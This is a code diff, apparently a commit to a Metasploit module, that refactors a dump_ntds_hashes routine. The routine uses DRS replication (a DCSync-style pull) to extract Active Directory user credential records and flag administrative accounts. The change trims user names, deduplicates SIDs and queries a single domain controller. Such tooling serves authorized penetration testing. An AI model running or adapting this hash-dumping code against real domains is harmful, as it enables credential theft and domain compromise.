@@ -891,7 +891,7 @@ def dump_ntds_hashes
891891 )
892892 return
893893 end
894- specific_users = datastore [ 'KRB_USERS' ] . strip . split ( ',' )
894+ specific_users = datastore [ 'KRB_USERS' ] . strip . split ( ',' ) . map { | s | s . strip }
895895
896896 if specific_users . empty?
897897 users = get_domain_users
@@ -903,6 +903,8 @@ def dump_ntds_hashes
903903 users = get_domain_users_by_name ( specific_users )
904904 end
905905
906+ sids = Set . new ( users . map { |sid_and_user | sid_and_user [ 0 ] } )
907+
906908 dcerpc_client = connect_drs
907909 unless dcerpc_client
908910 print_error (
@@ -914,29 +916,27 @@ def dump_ntds_hashes
914916 ph_drs = dcerpc_client . drs_bind
915917 dc_infos = dcerpc_client . drs_domain_controller_info ( ph_drs , domain_name )
916918 user_info = { }
917- dc_infos . each do |dc_info |
918- users . each do |user |
919- sid = user [ 0 ]
920- crack_names = dcerpc_client . drs_crack_names ( ph_drs , rp_names : [ sid ] )
921- crack_names . each do |crack_name |
922- user_record = dcerpc_client . drs_get_nc_changes (
923- ph_drs ,
924- nc_guid : crack_name . p_name . to_s . encode ( 'utf-8' ) ,
925- dsa_object_guid : dc_info . ntds_dsa_object_guid
926- )
927- user_info [ sid ] = parse_user_record ( dcerpc_client , user_record )
928- end
919+ dc_info = dc_infos [ 0 ]
920+ sids . each do |sid |
921+ crack_names = dcerpc_client . drs_crack_names ( ph_drs , rp_names : [ sid ] )
922+ crack_names . each do |crack_name |
923+ user_record = dcerpc_client . drs_get_nc_changes (
924+ ph_drs ,
925+ nc_guid : crack_name . p_name . to_s . encode ( 'utf-8' ) ,
926+ dsa_object_guid : dc_info . ntds_dsa_object_guid
927+ )
928+ user_info [ sid ] = parse_user_record ( dcerpc_client , user_record )
929+ end
929930
930- groups = get_user_groups ( sid )
931- groups . each do |group |
932- case group . name
933- when 'BUILTIN\\Administrators'
934- user_info [ sid ] [ :admin ] = true
935- when '(domain)\\Domain Admins'
936- user_info [ sid ] [ :domain_admin ] = true
937- when '(domain)\\Enterprise Admins'
938- user_info [ sid ] [ :enterprise_admin ] = true
939- end
931+ groups = get_user_groups ( sid )
932+ groups . each do |group |
933+ case group . name
934+ when 'BUILTIN\\Administrators'
935+ user_info [ sid ] [ :admin ] = true
936+ when '(domain)\\Domain Admins'
937+ user_info [ sid ] [ :domain_admin ] = true
938+ when '(domain)\\Enterprise Admins'
939+ user_info [ sid ] [ :enterprise_admin ] = true
940940 end
941941 end
942942 end
0 commit comments